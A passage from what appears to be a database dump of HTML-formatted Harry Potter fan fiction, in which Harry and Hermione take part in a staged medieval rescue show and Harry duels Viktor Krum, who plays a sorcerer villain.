class="MsoNormal">&#8220;I&#8217;d like either of those please.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, you&#8217;ve chosen well,&#8221; Justin quipped. &#8220;Those blades are\nnot separate; they are meant to be used together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Marcus lifted out the pair of swords and slid them into\ntheir matching leather sheaths.&nbsp; He\nhanded them to Harry, and the young wizard slid one onto either side of his\nbelt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Be careful, Harry, those blades are quite sharp, and you\ncan be hurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Marcus is right.&nbsp;\nYou won&#8217;t actually be fighting; that&#8217;s our job.&nbsp; We just add you to make the audience feel\nmore involved.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I know how to use a sword,&#8221; Harry interrupted.&nbsp; The four men gawked at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You do?&#8221; Lawrence asked quite astonished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, my godfather taught me how to use one.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To prove his point, Harry drew out the sword from his left\nside and twirled it around in his hand.&nbsp;\nHe then weaved it back and forth at almost lightning speed; needless to\nsay, his companions were quite impressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not bad, Harry, you do know what you&#8217;re doing,&#8221; Marcus\nlaughed, &#8220;Perhaps, this time, we won&#8217;t have to do all the work ourselves.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you don&#8217;t mind my asking, what is Hermione&#8217;s part?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My girlfriend, she&#8217;s the other one who was picked.&#8221; The men\nstarted chuckling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then tonight is really going to be interesting.&nbsp; She&#8217;s playing a princess who is captured by\nan evil warlord, and it&#8217;s our job to rescue her.&nbsp; Actually, more like your job.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had to fight the grin that wanted to spring up on his\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see, so I get to play the hero and rescue the &#8216;damsel in\ndistress&#8217;?&#8221; he chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Basically, but we have to fight our way through the guards\nfirst.&nbsp; Of course, each of us wear\npadding so we don&#8217;t get seriously injured, but usually, we&#8217;re the only ones who\ndo any fighting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But that&#8217;s not fair; I should help you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well Harry, most of the time, we get stuck with idiots who\ndon&#8217;t know squat about swords or fighting &#8211; least of all how to use or act with\nthem.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then that&#8217;s going to change because I don&#8217;t want to be\nsomeone who just stands by and does nothing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I admire your spunk, Harry, I don&#8217;t see why we couldn&#8217;t\nmake an exception this time,&#8221; Marcus said with a wide grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The older man left the tent to inform the director of the\nslight change in plans for the night, but he explicitly stated not to tell\nHermione about Harry&#8217;s role.&nbsp; Once\nthings were in order, it was time to begin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s palms were sweating as a gray-haired woman combed\nher hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Relax dear, you&#8217;re much too nervous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, it&#8217;s just that I&#8217;ve never done something like\nthis before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s quite all right; I&#8217;ve seen many people with the\nexact same face as you have right now.&nbsp;\nDon&#8217;t worry about it; just follow your instructions and everything will\nbe fine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t believe I&#8217;m playing a princess.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione giggled as she looked at herself in the\nmirror.&nbsp; She felt like she was in a\nfairytale &#8211; playing the role of a princess.&nbsp;\nShe was dressed in a long, maroon ball gown.&nbsp; It had several layers of ruffles underneath it along with a\npetticoat to give it shape.&nbsp; The gown\nhugged her slim waist, and it covered her arms all the way up but left her\nshoulders bare.&nbsp; It enhanced her bust to\nthe point of making her look enticing but not grotesque or immoral.&nbsp; She could just imagine Harry&#8217;s reaction to\nseeing her like this.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I really must thank you for this lovely dress.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t mention, my dear, it&#8217;s my job to make sure that\nyou&#8217;re &#8216;in character&#8217; for the performance.&nbsp;\nNow then, do you remember what I told you to do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think so; it doesn&#8217;t seem to hard.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It really isn&#8217;t.&nbsp;\nYou really don&#8217;t have to do much until your &#8216;prince&#8217; shows up anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So that&#8217;s the idea?&nbsp;\nThe old &#8216;rescue the princess&#8217; routine?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Essentially, but with a bit more flare than normal.&nbsp; You&#8217;ll see what I mean.&nbsp; As actors, we always try to exaggerate &#8211;\nmakes for a more dramatic performance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure it does; I can&#8217;t wait to see what Harry&#8217;s doing,&#8221;\nHermione said with a bright smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&nbsp; Oh, the young\nman who was with you?&nbsp; Why&#8230;he&#8217;s playing\nthe part of the prince&#8230;who else?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, we wouldn&#8217;t ask you to kiss a complete\nstranger,&#8221; the older woman chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have to kiss him!&#8221; Hermione gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, if that&#8217;s a problem&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, not all!&nbsp; He&#8217;s\nmy boyfriend; we do it all the time,&#8221; she replied with a slight blush.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&nbsp; Now then,\nlet&#8217;s head out to the stage; the performance will be starting shortly.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione followed the woman out, but she couldn&#8217;t help it as\nher palms began to sweat again.&nbsp;\nHowever, knowing that Harry was going to play her prince charming made\nher nervousness drain away.&nbsp; She planned\non making their kiss one he would never forget.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 9, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wonder what Harry and Hermione are going to be playing,&#8221;\nRon inquired as he and Lavender took their seats.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They were inside an enormous tent &#8211; erected to protect\neveryone in case it decided to rain.&nbsp;\nThe seating was arranged around the massive circular ring, however, the\nentire area was encased in a velvet curtain so you couldn&#8217;t see what was\ninside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not sure, but it looks like we&#8217;re about to find out,&#8221;\nshe answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A middle-aged man walked out from behind the curtain and\nraised his hands to silence the crowd.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ladies and gentlemen, welcome to our featured event for the\nevening.&nbsp; I would like to thank you all\nfor attending tonight, and I hope you enjoy it.&nbsp; Now, on with the show!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The velvet curtain was slowly drawn back, and the audience\ngasped at the illustrious setup.&nbsp; It\nlooked exactly like the inside of a medieval castle &#8211; stone walls, torches\nhanging by metal hinges, and shields and swords displayed on the walls.&nbsp; On the far side, there was an elevated\nplatform with two thrones.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In here, lads, his Excellency is waiting for her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">From an erected entrance on the far side of the ring, a man\nemerged in full armor and carrying a helmet under his left arm.&nbsp; He was followed out a moment later by four\nother men (also in armor), and two of them were half-walking half-dragging a\nyoung woman along with them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s Hermione!&#8221; Ron gasped, and Lavender nudged him to shut\nhim up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was indeed Hermione.&nbsp;\nShe was being pulled along by the two men, and her hands were bound\nbehind her back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Release me at once!&#8221; she shouted, remembering the lines\nthat she&#8217;d been told to recite.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m afraid we cannot do that, princess; our master would be\nmost perturbed if you did not see him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The men continued dragging Hermione until they were directly\nin front of the stand where the two thrones stood.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;His Excellency, Lord Narune.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">From a maroon curtain behind the thrones, a young man\nemerged.&nbsp; He was also wearing mail\narmor, and a silver dragon was engraved on his chest plate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Vik-&#8221; Hermione immediately shut her mouth; she couldn&#8217;t say\nhis real name.&nbsp; The man who stood before\nwas none other than Viktor Krum.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, Lady Hermione, so nice to see you; you look lovely as\never,&#8221; he said eloquently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I order you to release me at once,&#8221; she spat out, thanking\nher study habits for quick memorization and recollection.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are in no position to give me orders, princess.&nbsp; Do you still defy me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; Narune&#8217;s face formed into an evil grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why not marry me?&nbsp;\nThere are many women who would gladly take your place.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I belong to another, milord,&#8221; Hermione answered defiantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have heard of the prince who apparently won your\nhand.&nbsp; But he is nowhere to seen is he?&#8221;\nNarune laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, Hermione is playing this for all it&#8217;s worth,&#8221; Ron\ngasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, but I wonder where Harry is supposed to be.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender&#8217;s question was about to be answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">From within the same entrance that Hermione had been\nbrought, several other soldiers came scurrying out like scared rats.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My lord, intruders!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who dares to violate my castle!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Another guard came flying threw the doorway and landed head\nover heels.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Narune!&#8221; a familiar voice thundered.&nbsp; Hermione spun around, and her face lit up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The curtains parted, and Harry emerged &#8211; flanked on each\nside by Lawrence, Marcus, Justin, and Thomas.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; Hermione cried happily.&nbsp; She loved how he looked in his armor.&nbsp; He&#8217;d never worn any before in his life, but she thought it suited\nhim wonderfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Unhand the princess, you fiend!&#8221; Marcus shouted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t answer to third-rate knights like you!&#8221; Narune\nhissed menacingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Guards!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At their master&#8217;s command, fifteen guards emerged from all\nsides of the arena and surrounded Harry and the others.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You coward, can you not fight your own battles?&#8221; Thomas\ngrowled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I will not soil my hands with such insects.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione almost thought she saw Harry smirk.&nbsp; The young wizard&#8217;s arms crisscrossed, and he\ndrew out his twin blades.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Wait a minute, don&#8217;t tell me he&#8217;s actually going to fight\nwith those!&#8217; she gasped silently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Each of the other knights drew their swords and raised their\nshields.&nbsp; Narune&#8217;s smile only widened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Destroy them!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The guards swarmed onto Harry and the others, and the fray\nbegan.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You could hear cheers from the audience as the battle\nraged.&nbsp; It truly looked like a real\nfight scene.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Ron, I didn&#8217;t know Harry could use a sword.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, neither did I but look at him go!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry parried a strike with the sword in his right hand then\nswung the fat side of his blade directly underneath his assailant&#8217;s waist &#8211;\nsweeping his legs out from under him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Marcus and the others watched him with silent fascination;\nthis young man was full of surprises.&nbsp;\nHarry had to remind himself several times not to hit the guards too\nhard, or they might get hurt for real.&nbsp;\nNo, he just gave them a &#8216;very&#8217; firm tap.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Within minutes, all fifteen of Narune&#8217;s guards lay\nmotionless on the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is that all you&#8217;ve got?&#8221; Lawrence taunted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give me the princess,&#8221; Narune ordered. &#8220;Now, kill them\nall.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The four soldiers who had been watching Hermione suddenly\nlooked very nervous and very afraid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I warn you,&#8221; Harry growled, and his eyes narrowed\ndangerously, &#8220;Move aside, and you will not be harmed, but if you stand in my\nway, I will be forced to make you move.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The guards saw the four knights surround Harry, and their\nknees began to tremble.&nbsp; Dropping their\nweapons, they scurried off the stage like a pack of frightened rats.&nbsp; Harry&#8217;s eyes then turned towards the man who\nwas holding Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let her go!&#8221; he growled, his voice dangerously low.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She doesn&#8217;t want you; she wants to be with me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was spun around, and she suddenly found herself\ndirectly into Victor&#8217;s eyes.&nbsp; She could\nsee the depth they held, but they could never make her tremble the way Harry&#8217;s\nemerald pools could.&nbsp; Shoving herself\nout of her captor&#8217;s arms, Hermione squared her shoulders and looked at the man\nwho she had once thought was the man of her dreams.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t want you, Narune; I&#8217;m in love with Harry and only\nHarry!&#8221; She said the words so compellingly that it made the audience think that\nit wasn&#8217;t just an act she was performing, but her lover knew how much she meant\nit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very well then&#8230;&#8221; Narune hissed and drew out his sword, &#8220;&#8230;if\nI cannot have you, then no one shall!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He raised the blade and aimed at Hermione&#8217;s chest.&nbsp; The young woman backed away slowly, trying\nto escape her would-be killer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now die!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A split second later, Narune found a short sword whizzing by\nnot an inch in front of his face.&nbsp; It\nembedded itself into the far wall, and he turned towards his attacker.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re not touching her you filthy piece of scum!&#8221; Harry\nshouted and ran towards him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When she saw him open his arms, she knew what he\nwanted.&nbsp; Hermione jumped off the\nplatform and landed right in the middle of his embrace.&nbsp; He clutched her to his chest, and she buried\nher face in the crook of his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you all right, milady?&#8221; Harry asked, gazing down at her\nwith warm eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, my darling, I&#8217;m fine &#8211; now that you&#8217;re here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry to spoil the warm reunion, but neither of you is\ngoing to leave here alive,&#8221; Narune stated and walked down the steps.&nbsp; Harry put Hermione down and turned back to\nface his enemy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s finish this fight!&#8221; Harry growled and raised his\nother sword.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two advanced on one another, and everyone could hear the\nclang as their swords met.&nbsp; Moving at a\nblinding pace, the two traded blows back and forth &#8211; neither giving an inch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, look at those two go at it!&#8221; a member of the audience\nshouted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is incredible!&nbsp;\nI&#8217;ve never seen anything like it,&#8221; another stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Man, Harry and Viktor are really going at it; you&#8217;d think\nthey were playing for real or something,&#8221; Ron laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe they are,&#8221; Lavender answered.&nbsp; That did not make the young Weasley happy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Quite impressive,&#8221; Narune growled.&nbsp; Harry just remained silent. &#8220;However, this\nfight is now over.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly, Harry could sense magic in the air.&nbsp; He rolled out of the way just as the ground\nexploded underneath him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What in bloody hell was that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have no idea.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Was that supposed to happen?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no, the rumors were true,&#8221; Marcus said fearfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221; Hermione asked, trying to seem as if she\ndidn&#8217;t already know.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Princess, Lord Narune&#8230;is a sorcerer,&#8221; Lawrence clarified.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had to stop herself from grinning; they didn&#8217;t know\nwho Harry really was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Quick on your feet, I see,&#8221; Narune laughed as Harry dusted\nhimself off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The young man couldn&#8217;t believe that Viktor was using magic\nin front of muggles, but when he saw the expressions on the spectators&#8217; faces,\nhe finally understood.&nbsp; They were\nenjoying themselves; they wanted to see more.&nbsp;\nViktor was just trying to make the drama more colorful.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;All right, if that&#8217;s the way he wants to play&#8230;&#8217; His mind\nbegan to plan his attack.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cat got your tongue, your highness, I thought you would\nhave something clever to say at a time like this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood to his full height and extended his right hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Accio sword,&#8221; he whispered under his breath.&nbsp; At his command, his sword was yanked out of\nthe wall and came to his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It ends here!&#8221; Harry hissed and narrowed his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched the two face off and waited anxiously.&nbsp; They had to be careful about what magic they\nused; there was only so much you could explain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two men once again met sword against sword, but this\ntime Harry had his second blade, and he used it to press his advantage.&nbsp; He forced Narune back onto his heels then\nswept his legs out from under him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yield!&#8221; Harry ordered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Never!&#8221; Narune quickly sprung to his feet, and their fight\nresumed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once again, the two traded blow after blow.&nbsp; Neither one seemed to gain any\nadvantage.&nbsp; Narune brought down his\nsword in an overhead strike, and Harry crossed his blades to block him.&nbsp; The two men grunted as they pushed up\nagainst one another, glaring menacingly at their opponent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Enough of this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Narune shoved Harry back and smirked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exploda!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was thrown into the air and landed no less than\nfifteen feet away.&nbsp; Hermione wanted to\nrush to his side, but Marcus held her back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No milady, you mustn&#8217;t; his highness would be most upset if\nyou were injured.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Yes, but I&#8217;ll be upset if he gets injured,&#8217; she replied\nsilently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry slowly got to his feet to hear Narune laughing\nsadistically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And to think you believed yourself worthy of Lady Hermione\n&#8211; how pathetic.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Raising his hand, he prepared to finish Harry off, but the\nyoung man was waiting for him.&nbsp; Lifting\nup his blades, his whispered a spell almost silently and grinned when he saw\nthe swords glint slightly; now, he was ready.&nbsp;\nAll he needed was for his opponent to cast one more spell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Die boy, Tornados.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The cyclone of wind blew toward Harry, and he waited for\nit.&nbsp; Quickly rising to his feet, 